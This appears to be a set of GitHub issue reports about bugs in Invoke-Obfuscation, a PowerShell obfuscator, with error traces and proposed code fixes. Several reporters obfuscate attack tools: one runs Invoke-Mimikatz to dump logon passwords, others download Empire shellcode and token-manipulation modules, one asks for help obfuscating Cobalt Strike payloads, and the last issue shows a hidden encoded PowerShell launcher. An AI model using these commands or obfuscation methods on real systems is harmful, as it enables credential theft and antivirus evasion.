    [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
    Param ([String] $Example)
    Write-Host $Example
}
PS > Invoke-Obfuscation -ScriptPath .\Invoke-Example.ps1 -Command 'Token\All\1,Out Invoke-ObfuscatedExample.ps1' -Quiet

Outputting ObfuscatedCommand to stdout and exiting since -Command was specified and -NoExit was not specified:

function I`NVOkE`-e`xa`Mple {

    [CmdletBinding(suPPORTssHoUlDpROCESS = ${t`RUE}, cOnfirmimpact = {"{1}{2}{0}"-f 'ium','M','ed'})]
    Param ([String] ${EX`AMP`Le})
    &("{2}{0}{3}{1}"-f 'te','ost','Wri','-H') ${eXA`mPle}
}
PS> Import-Module .\Invoke-ObfuscatedExample.ps1
PS> INVOkE-exaMple -Example example
Cannot convert the ""{1}{2}{0}"-f 'ium','M','ed'" value of type "System.Management.Automation.ScriptBlock" to type
"System.Management.Automation.ConfirmImpact".
At line:1 char:1
+ INVOkE-exaMple -Example example
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidArgument: (:) [], RuntimeException
    + FullyQualifiedErrorId : ConvertToFinalInvalidCastException

Solution

I was able to fix this by first removing ConfirmImpact from the list of $ParameterValidationAttributesToTreatAsScriptBlock variable. Second, I included ConfirmImpact along with ParameterSetName as a parameter binding that should be only obfuscated with ticks.

If(($SubString.Contains('parametersetname') -OR $SubString.Contains('confirmimpact')) -AND !$SubString.Contains('defaultparametersetname') -AND $SubString.Contains('='))
{
    # For strings in ParameterSetName parameter binding (but not DefaultParameterSetName) then we will only obfuscate with tick marks.
    # Otherwise we may get errors depending on the version of PowerShell being run.
    $ObfuscatedToken = $Token.Content
    $TokenForTicks = [System.Management.Automation.PSParser]::Tokenize($ObfuscatedToken,[ref]$null)
    $ObfuscatedToken = '"' + (Out-ObfuscatedWithTicks $ObfuscatedToken $TokenForTicks[0]) + '"'
}

Technically, ConfirmImpact could be obfuscated using simple concatenation as well, but not reordering with the format operator.

Also, this may be related to #2 , although I've observed that HelpMessage does not suffer from the same error.

Obfuscated code broken

Here is a PowerShell version of Invoke-Mimikatz: https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1

Launching it normally is OK (as admin and without antiviruses):

Import-Module .\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command "sekurlsa::logonPasswords"
	Hostname: *** / -

	  .#####.   mimikatz 2.2.0 (x64) #19041 Oct  4 2020 10:28:51
	 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
	 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
	 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
	 '## v ##'       Vincent LE TOUX             ( [email protected] )
	  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

But when I try to obfuscate it using TOKEN\ARGUMENT\1 :

Import-Module -Global -Force ..\..\Invoke-Obfuscation\Invoke-Obfuscation.psd1
Invoke-Obfuscation -ScriptPath .\Invoke-Mimikatz.ps1 -command "TOKEN\\ARGUMENT\\2" -Quiet |Out-File -encoding ascii obfuscated.ps1
Import-Module -Global -Force .\obfuscated.ps1
Invoke-Mimikatz -Command "sekurlsa::logonPasswords"

I always have the following error

Exception lors de l'appel de ยซ GetDelegateForFunctionPointer ยป avec ยซ 2 ยป argument(s) : ยซ La valeur ne peut pas รชtre null.
Nom du paramรจtre : ptr ยป
Au caractรจre obfuscated.ps1:489 : 9
+         $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::Get ...
+         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : ArgumentNullException

Exception lors de l'appel de ยซ GetDelegateForFunctionPointer ยป avec ยซ 2 ยป argument(s) : ยซ La valeur ne peut pas รชtre null.
Nom du paramรจtre : ptr ยป
Au caractรจre obfuscated.ps1:494 : 9
+         $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::G ...
+         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : ArgumentNullException

Exception lors de l'appel de ยซ GetDelegateForFunctionPointer ยป avec ยซ 2 ยป argument(s) : ยซ La valeur ne peut pas รชtre null.
Nom du paramรจtre : ptr ยป
Au caractรจre obfuscated.ps1:499 : 9
+         $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelega ...
+         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : ArgumentNullException
(...)

Also, an error sometimes happens with TOKEN\STRING\1 or TOKEN\STRING\2.

That's the same with any AST\*\1 (but here, the code can't be ofuscated)

Import-Module -Global -Force .\Invoke-Obfuscation\Invoke-Obfuscation.psd1
Invoke-Obfuscation -ScriptPath .\Invoke-Mimikatz.ps1 -command "AST\\ALL\\1" -Quiet |Out-File -encoding ascii obfuscated.ps1
Import-Module -Global -Force .\obfuscated.ps1
Invoke-Mimikatz -Command "sekurlsa::logonPasswords"

For example, when chosing AST\ALL\1 :

Can't find process 0
Au caractรจre obfuscated.ps1:2540 : 17
+                 Throw "Can't find process $ProcName"
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : OperationStopped: (Can't find process 0:String) [], RuntimeException
    + FullyQualifiedErrorId : Can't find process 0

Or AST\HashtableAst\1

Exception lors de l'appel de ยซ Substring ยป avec ยซ 2 ยป argument(s) : ยซ La longueur ne peut pas รชtre infรฉrieure ร  zรฉro.
Nom du paramรจtre : length ยป
Au caractรจre Invoke-Obfuscation\Out-ObfuscatedAst.ps1:5738 : 17
+ ...             $ObfuscatedExtent = [String] $ObfuscatedExtent.Substring( ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : ArgumentOutOfRangeException

Exception lors de l'appel de ยซ Substring ยป avec ยซ 1 ยป argument(s) : ยซ StartIndex ne peut pas รชtre infรฉrieur ร  zรฉro.
Nom du paramรจtre : startIndex ยป
Au caractรจre Invoke-Obfuscation\Out-ObfuscatedAst.ps1:5745 : 17
+ ...             $ObfuscatedExtent += [String] $AbstractSyntaxTree.Extent. ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : ArgumentOutOfRangeException

Exception lors de l'appel de ยซ Substring ยป avec ยซ 2 ยป argument(s) : ยซ La longueur ne peut pas รชtre infรฉrieure ร  zรฉro.
Nom du paramรจtre : length ยป
Au caractรจre Invoke-Obfuscation\Out-ObfuscatedAst.ps1:5738 : 17
+ ...             $ObfuscatedExtent = [String] $ObfuscatedExtent.Substring( ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : ArgumentOutOfRangeException

Exception lors de l'appel de ยซ Substring ยป avec ยซ 1 ยป argument(s) : ยซ StartIndex ne peut pas รชtre infรฉrieur ร  zรฉro.
Nom du paramรจtre : startIndex ยป
Au caractรจre Invoke-Obfuscation\Out-ObfuscatedAst.ps1:5745 : 17
+ ...             $ObfuscatedExtent += [String] $AbstractSyntaxTree.Extent. ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : ArgumentOutOfRangeException

Or AST\CommandAst\1 :

Exception lors de l'appel de ยซ Substring ยป avec ยซ 2 ยป argument(s) : ยซ La longueur ne peut pas รชtre infรฉrieure ร  zรฉro.
Nom du paramรจtre : length ยป
Au caractรจre Invoke-Obfuscation\Out-ObfuscatedAst.ps1:5738 : 17
+ ...             $ObfuscatedExtent = [String] $ObfuscatedExtent.Substring( ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : ArgumentOutOfRangeException

Exception lors de l'appel de ยซ Substring ยป avec ยซ 1 ยป argument(s) : ยซ StartIndex ne peut pas รชtre infรฉrieur ร  zรฉro.
Nom du paramรจtre : startIndex ยป
Au caractรจre Invoke-Obfuscation\Out-ObfuscatedAst.ps1:5745 : 17
+ ...             $ObfuscatedExtent += [String] $AbstractSyntaxTree.Extent. ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : ArgumentOutOfRangeException

Exception lors de l'appel de ยซ Substring ยป avec ยซ 2 ยป argument(s) : ยซ La longueur ne peut pas รชtre infรฉrieure ร  zรฉro.
Nom du paramรจtre : length ยป
Au caractรจre Invoke-Obfuscation\Out-ObfuscatedAst.ps1:5738 : 17
+ ...             $ObfuscatedExtent = [String] $ObfuscatedExtent.Substring( ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : ArgumentOutOfRangeException

Exception lors de l'appel de ยซ Substring ยป avec ยซ 1 ยป argument(s) : ยซ StartIndex ne peut pas รชtre infรฉrieur ร  zรฉro.
Nom du paramรจtre : startIndex ยป
Au caractรจre Invoke-Obfuscation\Out-ObfuscatedAst.ps1:5745 : 17
+ ...             $ObfuscatedExtent += [String] $AbstractSyntaxTree.Extent. ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : ArgumentOutOfRangeException

Therefore, I suppose AST is not supported by this version of Invoke-Mimikatz.ps1. But do you have any idea why TOKEN\STRING\1 and TOKEN\STRING\2 may sometimes break Invoke-Mimikatz.ps1, while TOKEN\ARGUMENT\1 breaks it everytime ?

Is there any table referencing these incompatibilities, or is it specific to the script we try to obfuscate ?

Some of the encoding tecniques prevent variable manipulation

Hi Daniel,

Thanks for this awesome project!

In order to preserve scripts tab-parameters from CLI, I do encode all of the script BUT the param() part
Later In the (encoded) script, I do a
remove-variable -Name SomeVar
Sometimes, (75%,but NOT Always) after encoding (I'm using ASCII), I get a
Cannot overwrite variable SomeVarbecause the variable has been optimized.
I have yet to track down what line of code causes this tho

Error When using Out-EncodedSpecialCharOnlyCommand but only the file and not when using Invoke-Obfuscation.ps1

I was wondering why no matter what script I use Out-EncodedSpecialCharOnlyCommand output will always return an error unless im using the full Invoke-Obfuscation. I even tried the examples that are supplied inside of the script and that also doesn't work. I'm not sure if he just stopped updating it and only updated the Invoke-Obfuscation.ps1 but I just want to be able to call it from commandline without having all the text popup and have it take forever.

create automated script

Hi i try to obfuscate multiple scripts with this amazing tool, but to do this all per single command, it is to expensive. Is there already a solution:

  1. To execute all step in one Line e.g.: SET SCRIPTPATH /home/user/testScript; STRING/1; OUT /home/user/testScriptObf;
  2. To execute this steps from e.g. my python code?

I am quiet sure similar things were done in the past but i don't know how and cannot find anything to do that.

CommandNotFoundException occured when start Invoke-Obsfucation

Import-Module ./Invoke-Obfuscation.psd1

Invoke-Obfuscation

I wrote this commands but I am getting error. And It says that cannot find Invoke-Obfuscation. Below whole error string;

Invoke-Obfuscation : The term 'Invoke-Obfuscation' is not recognized as the name of a cmdlet, function, script file, or
 operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try a
gain.
At line:1 char:1
+ Invoke-Obfuscation
    + CategoryInfo          : ObjectNotFound: (Invoke-Obfuscation:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException`
```

Out-ObfuscatedCommandTokenLevel2 adds an invoke operator even if one already exists

Problem

The Out-ObfuscatedCommandTokenLevel2 function adds an invoke operator even if one already exists, without wrapping the script in parentheses.

I discovered this issue while attempting to obfuscate modules in the Empire project.

This error specifically was found while attempting to obfuscate Invoke-WinEnum.ps1

Steps to reproduce

PS> git clone https://github.com/danielbohannon/Invoke-Obfuscation.git
PS> wget https://github.com/adaptivethreat/Empire/raw/master/data/module_source/situational_awareness/host/Invoke-WinEnum.ps1
PS> Import-Module .\Invoke-Obfuscation\Invoke-Obfuscation.psm1

[*] Validating necessary commands are loaded into current PowerShell session.

[*] Function Loaded :: Out-ObfuscatedTokenCommand
[*] Function Loaded :: Out-ObfuscatedStringCommand
[*] Function Loaded :: Out-EncodedAsciiCommand
[*] Function Loaded :: Out-EncodedHexCommand
[*] Function Loaded :: Out-EncodedOctalCommand
[*] Function Loaded :: Out-EncodedBinaryCommand
[*] Function Loaded :: Out-SecureStringCommand
[*] Function Loaded :: Out-EncodedBXORCommand
[*] Function Loaded :: Out-PowerShellLauncher
[*] Function Loaded :: Invoke-Obfuscation

[*] All modules loaded and ready to run Invoke-Obfuscation

PS> Out-ObfuscatedTokenCommand -Path .\Invoke-WinEnum.ps1 | Out-File out
Obfuscating Invoke-WinEnum.ps1

[*] Obfuscating 25 Comment tokens.

[*] Obfuscating 155 String tokens.

[*] Obfuscating 66 Argument tokens.

[*] Obfuscating 90 Command tokens.
Exception calling "Create" with "1" argument(s): "At line:116 char:15
+             & &("{0}{1}{2}"-f 'powers','h','ell') -Sta -Command $cmd
+               ~
The ampersand (&) character is not allowed. The & operator is reserved for future use; wrap an ampersand in double quotation marks ("&") to pass it as part of a string."
At <PATH>\Invoke-Obfuscation\Out-ObfuscatedTokenCommand.ps1:137 char:13
+             $ScriptString = Out-ObfuscatedTokenCommand ([ScriptBlock] ...
+             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : ParseException
(errors continue)

The error message makes it pretty clear that there is a problem with an invoke operator (ampersand).

Reducing the Invoke-WinEnum.ps1 file to this minified version still reproduces the error.

& powershell

Solution

It seems as if simply wrapping parentheses around the existing invoke operator fixes the problem.

Adding code so that the following:

# Randomly choose between the & and . Invoke Operators.
# In certain large scripts where more than one parameter are being passed into a custom function 
# (like Add-SignedIntAsUnsigned in Invoke-Mimikatz.ps1) then using . will cause errors but & will not.
# For now we will default to only & if $ScriptString.Length -gt 10000
If($ScriptString.Length -gt 10000) {$RandomInvokeOperator = '&'}
Else {$RandomInvokeOperator = Get-Random -InputObject @('&','.')}

# Add invoke operator (and potentially whitespace) to complete splatting command.
$ObfuscatedToken = $RandomInvokeOperator + $ObfuscatedToken

# Add the obfuscated token back to $ScriptString.
$ScriptString = $ScriptString.SubString(0,$Token.Start) + $ObfuscatedToken + $ScriptString.SubString($Token.Start+$Token.Length)

Return $ScriptString

becomes:

# Randomly choose between the & and . Invoke Operators.
# In certain large scripts where more than one parameter are being passed into a custom function 
# (like Add-SignedIntAsUnsigned in Invoke-Mimikatz.ps1) then using . will cause errors but & will not.
# For now we will default to only & if $ScriptString.Length -gt 10000
If($ScriptString.Length -gt 10000) {$RandomInvokeOperator = '&'}
Else {$RandomInvokeOperator = Get-Random -InputObject @('&','.')}

# Add invoke operator (and potentially whitespace) to complete splatting command.
$ObfuscatedToken = $RandomInvokeOperator + $ObfuscatedToken

# If an invoke operator is already in use, then we need to wrap this one in parentheses
If($ScriptString.SubString(0,$Token.Start).Trim().EndsWith('&') -or $ScriptString.SubString(0,$Token.Start).Trim().EndsWith('.')) {
	$ObfuscatedToken = '(' + $ObfuscatedToken + ')'
}

# Add the obfuscated token back to $ScriptString.
$ScriptString = $ScriptString.SubString(0,$Token.Start) + $ObfuscatedToken + $ScriptString.SubString($Token.Start+$Token.Length)

Return $ScriptString

Invoke obsfucation messes up payload

I built two payloads with cobalt strike. A standard powershell payload and a scripted web delivery power shell payload. Now here is the challenge, before obfuscation , I tested it on a VMware and it works . after obfuscation I saved it as test.bat and tested it , it doesn't stage or run anymore. I followed the steps and used bxor to obfuscate without any single error .please any help would be appreciated, my out put files are in.bat format

Trojan:PowerShell/PSAttackTool.A

I had used Invoke-Obfuscation in the past. I downloaded the most recent version yesterday, and when i loaded the module on my test machine, i immediately got a notice that the file was infected with PowerShell/PSAttackTool.A, and PowerShell/Pklotide.A. This is on Windows Server 2019 with Windows Defender AV.

Hopefully this issue can be resolved.

Out-ObfuscatedTokenCommand 'ignorecase' member token should only be obfuscated with RandomCase

Problem

When obfuscating Member tokens in Out-ObfuscatedTokenCommand, an additional member token , 'ignorecase', should only be obfuscated with RandomCase.

I discovered this issue while attempting to obfuscate modules in the Empire project.

This error specifically was found while attempting to obfuscate Invoke-Shellcode.ps1

Steps to reproduce

PS> git clone https://github.com/danielbohannon/Invoke-Obfuscation.git
PS> wget https://github.com/adaptivethreat/Empire/raw/master/data/module_source/code_execution/Invoke-Shellcode.ps1
PS> Import-Module .\Invoke-Obfuscation\Invoke-Obfuscation.psm1

[*] Validating necessary commands are loaded into current PowerShell session.

[*] Function Loaded :: Out-ObfuscatedTokenCommand
[*] Function Loaded :: Out-ObfuscatedStringCommand
[*] Function Loaded :: Out-EncodedAsciiCommand
[*] Function Loaded :: Out-EncodedHexCommand
[*] Function Loaded :: Out-EncodedOctalCommand
[*] Function Loaded :: Out-EncodedBinaryCommand
[*] Function Loaded :: Out-SecureStringCommand
[*] Function Loaded :: Out-EncodedBXORCommand
[*] Function Loaded :: Out-PowerShellLauncher
[*] Function Loaded :: Invoke-Obfuscation

[*] All modules loaded and ready to run Invoke-Obfuscation

PS> Out-ObfuscatedTokenCommand -Path .\Invoke-Shellcode.ps1 | Out-File out
Obfuscating Invoke-Shellcode.ps1

[*] Obfuscating 75 Comment tokens.

[*] Obfuscating 98 String tokens.

[*] Obfuscating 88 Command tokens.

[*] Obfuscating 128 Member tokens.
Exception calling "Create" with "1" argument(s): "At line:18 char:52
+                   ("{0}{1}{2}"-f'I','gnore','Case') = $True )]
+                                                    ~
Missing closing ')' in expression.
At line:18 char:52
+                   ("{0}{1}{2}"-f'I','gnore','Case') = $True )]
+                                                    ~
Parameter declarations are a comma-separated list of variable names with optional initializer expressions.
At line:18 char:52
+                   ("{0}{1}{2}"-f'I','gnore','Case') = $True )]
+                                                    ~
(errors continue)

It seems as if the IgnoreCase member token should only be obfuscated with RandomCase.

Solution

Simply adding 'ignorecase' to the $MemberTokensToOnlyRandomCase list fixes the problem, resulting in the following list.

# The below Parameter Attributes cannot be obfuscated like other Member Tokens, so we will only randomize the case of these tokens.
# Source 1: https://technet.microsoft.com/en-us/library/hh847743.aspx
$MemberTokensToOnlyRandomCase  = @()
$MemberTokensToOnlyRandomCase += 'mandatory'
$MemberTokensToOnlyRandomCase += 'position'
$MemberTokensToOnlyRandomCase += 'parametersetname'
$MemberTokensToOnlyRandomCase += 'valuefrompipeline'
$MemberTokensToOnlyRandomCase += 'valuefrompipelinebypropertyname'
$MemberTokensToOnlyRandomCase += 'valuefromremainingarguments'
$MemberTokensToOnlyRandomCase += 'helpmessage'
$MemberTokensToOnlyRandomCase += 'alias'
# Source 2: https://technet.microsoft.com/en-us/library/hh847872.aspx
$MemberTokensToOnlyRandomCase += 'confirmimpact'
$MemberTokensToOnlyRandomCase += 'defaultparametersetname'
$MemberTokensToOnlyRandomCase += 'helpuri'
$MemberTokensToOnlyRandomCase += 'supportspaging'
$MemberTokensToOnlyRandomCase += 'supportsshouldprocess'
$MemberTokensToOnlyRandomCase += 'positionalbinding'

$MemberTokensToOnlyRandomCase += 'ignorecase'

This seems to fix the issue for me.

Out-ObfuscatedTokenCommand fails on long ParameterBinding options

Problem

When Out-ObfuscatedTokenCommand.ps1 attempts to find $ParameterValidationAttributesToTreatAsScriptblock, it misses some of the longer validation options.

I discovered this issue while attempting to obfuscate modules in the Empire project.

This error specifically was found while attempting to obfuscate Invoke-TokenManipulation.ps1

Steps to reproduce

PS> git clone https://github.com/danielbohannon/Invoke-Obfuscation.git
PS> wget https://github.com/adaptivethreat/Empire/raw/master/data/module_source/credentials/Invoke-TokenManipulation.ps1
PS> Import-Module .\Invoke-Obfuscation\Invoke-Obfuscation.psm1

[*] Validating necessary commands are loaded into current PowerShell session.

[*] Function Loaded :: Out-ObfuscatedTokenCommand
[*] Function Loaded :: Out-ObfuscatedStringCommand
[*] Function Loaded :: Out-EncodedAsciiCommand
[*] Function Loaded :: Out-EncodedHexCommand
[*] Function Loaded :: Out-EncodedOctalCommand
[*] Function Loaded :: Out-EncodedBinaryCommand
[*] Function Loaded :: Out-SecureStringCommand
[*] Function Loaded :: Out-EncodedBXORCommand
[*] Function Loaded :: Out-PowerShellLauncher
[*] Function Loaded :: Invoke-Obfuscation

[*] All modules loaded and ready to run Invoke-Obfuscation

PS> Out-ObfuscatedTokenCommand -Path .\Invoke-TokenManipulation.ps1 | Out-File out
Exception calling "Create" with "1" argument(s): "At line:657 char:17
+ ...             ("{2}{5}{6}{1}{4}{3}{0}"-f 'ege','eP','Se','efilePrivil', ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Attribute argument must be a constant or a script block.
At line:658 char:17
+ ...               ("{3}{0}{1}{2}" -f 'DebugPr','ivi','lege','Se'), {"{6}{ ...
+                   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Attribute argument must be a constant or a script block.
At line:659 char:17
+ ...             ("{3}{2}{5}{4}{0}{6}{1}"-f 'i','ege','seQ','SeIncrea','ta ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Attribute argument must be a constant or a script block.
At line:660 char:17
+ ...             ("{2}{1}{3}{4}{0}" -f'ilege','Vol','SeManage','umePri','v ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Attribute argument must be a constant or a script block.
At line:661 char:17
+ ...             ("{4}{5}{1}{0}{2}{3}"-f'vi','i','l','ege','SeS','ecurityP ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Attribute argument must be a constant or a script block.
At line:662 char:17
+ ...             ("{2}{6}{3}{1}{4}{0}{5}" -f 'P','im','Se','ystemt','e','r ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Attribute argument must be a constant or a script block.
At line:663 char:17
+ ...               ("{1}{2}{0}{3}" -f'rivil','SeU','ndockP','ege'), {"{2}{ ...
+                   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Attribute argument must be a constant or a script block."
(errors continue)

Upon further inspection, I was able to reduce the Invoke-TokenManipulation.ps1 file to a minified version that still reproduces the error.

function Enable-Privilege
{
	Param(
		[Parameter()]
		[ValidateSet("SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege",
			"SeCreatePagefilePrivilege", "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege", "SeCreateTokenPrivilege",
			"SeDebugPrivilege", "SeEnableDelegationPrivilege", "SeImpersonatePrivilege", "SeIncreaseBasePriorityPrivilege",
			"SeIncreaseQuotaPrivilege", "SeIncreaseWorkingSetPrivilege", "SeLoadDriverPrivilege", "SeLockMemoryPrivilege", "SeMachineAccountPrivilege",
			"SeManageVolumePrivilege", "SeProfileSingleProcessPrivilege", "SeRelabelPrivilege", "SeRemoteShutdownPrivilege", "SeRestorePrivilege",
			"SeSecurityPrivilege", "SeShutdownPrivilege", "SeSyncAgentPrivilege", "SeSystemEnvironmentPrivilege", "SeSystemProfilePrivilege",
			"SeSystemtimePrivilege", "SeTakeOwnershipPrivilege", "SeTcbPrivilege", "SeTimeZonePrivilege", "SeTrustedCredManAccessPrivilege",
			"SeUndockPrivilege", "SeUnsolicitedInputPrivilege")]
		[String]
		$Privilege
	)
	Write-Verbose "Enabled privilege: $Privilege"
}

Solution

It seems the long ValidateSet is not being caught as a 'ParameterValidationAttributesToTreatAsScriptblock', even though it is in the list of attributes.

This portion of the code in Out-ObfuscatedTokenCommand.ps1 seems to be the culprit:

$EncapsulateAsScriptBlockInsteadOfParentheses = $FALSE

# If dealing with ObfuscationLevel -gt 1 (e.g. -f format operator), perform check to see if we're dealing with a string that is part of a Parameter Binding.
If(($ObfuscationLevel -gt 1) -AND ($Token.Start -gt 5) -AND ($ScriptString.SubString($Token.Start-5,5).Contains('(') -OR $ScriptString.SubString($Token.Start-5,5).Contains(',')) -AND $ScriptString.SubString(0,$Token.Start).Contains('[') -AND $ScriptString.SubString(0,$Token.Start).Contains('('))
{
	# Gather substring preceding the current String token to see if we need to treat the obfuscated string as a scriptblock.
	$ParameterBindingName = $ScriptString.SubString(0,$Token.Start)
	$ParameterBindingName = $ParameterBindingName.SubString(0,$ParameterBindingName.LastIndexOf('('))
	$ParameterBindingName = $ParameterBindingName.SubString($ParameterBindingName.LastIndexOf('[')+1).Trim()

	# Filter out values that are not Parameter Binding due to contain whitespace, some special characters, etc.
	If(!$ParameterBindingName.Contains(' ') -AND !$ParameterBindingName.Contains('.') -AND !$ParameterBindingName.Contains(']') -AND !($ParameterBindingName.Length -eq 0))
	{
		# If we have a match then set boolean to True so result will be encapsulated with curly braces at the end of this function.
		If($ParameterValidationAttributesToTreatStringAsScriptblock -Contains $ParameterBindingName.ToLower())
		{
			$EncapsulateAsScriptBlockInsteadOfParentheses = $TRUE
		}
	}
}

Replacing the previous code with this modified version seems to fix the issue:

$EncapsulateAsScriptBlockInsteadOfParentheses = $FALSE

$LastEndBracketIndex = $ScriptString.LastIndexOf(']', $Token.Start)
$LastBeginBracketIndex = $ScriptString.LastIndexOf('[', $Token.Start)
If($LastBeginBracketIndex -gt $LastEndBracketIndex) {
	$ScriptSubString = $ScriptString.SubString($LastBeginBracketIndex, $Token.Start-$LastBeginBracketIndex)

	# If dealing with ObfuscationLevel -gt 1 (e.g. -f format operator), perform check to see if we're dealing with a string that is part of a Parameter Binding.
	If(($ObfuscationLevel -gt 1) -AND ($Token.Start -gt 5) -AND ($ScriptSubString.Contains('(')) )
	{
		# Gather substring preceding the current String token to see if we need to treat the obfuscated string as a scriptblock.
		$ParameterBindingName = $ScriptSubString.SubString(0,$ScriptSubString.LastIndexOf('('))
		$ParameterBindingName = $ParameterBindingName.SubString($ParameterBindingName.LastIndexOf('[')+1).Trim()
		
		# Filter out values that are not Parameter Binding due to contain whitespace, some special characters, etc.
		If(!$ParameterBindingName.Contains(' ') -AND !$ParameterBindingName.Contains('.') -AND !$ParameterBindingName.Contains(']') -AND !($ParameterBindingName.Length -eq 0))
		{
			# If we have a match then set boolean to True so result will be encapsulated with curly braces at the end of this function.
			If($ParameterValidationAttributesToTreatStringAsScriptblock -Contains $ParameterBindingName.ToLower())
			{
				$EncapsulateAsScriptBlockInsteadOfParentheses = $TRUE
			}
		}
	}
}

This is a more systematic way of grabbing the ValidationAttribute's name, as opposed to assuming a length of the attribute itself.

Feature Request - Changing Function Names

Hi,

Is there an option to modify all function names and variables and their references in a PS1 script?

for example, the variable won't get a random prefix but its entire name will be changed.

Thanks !

is posible obfuscate this?

how to obfuscate?

powershell.exe -nop -w hidden -encodedcommand 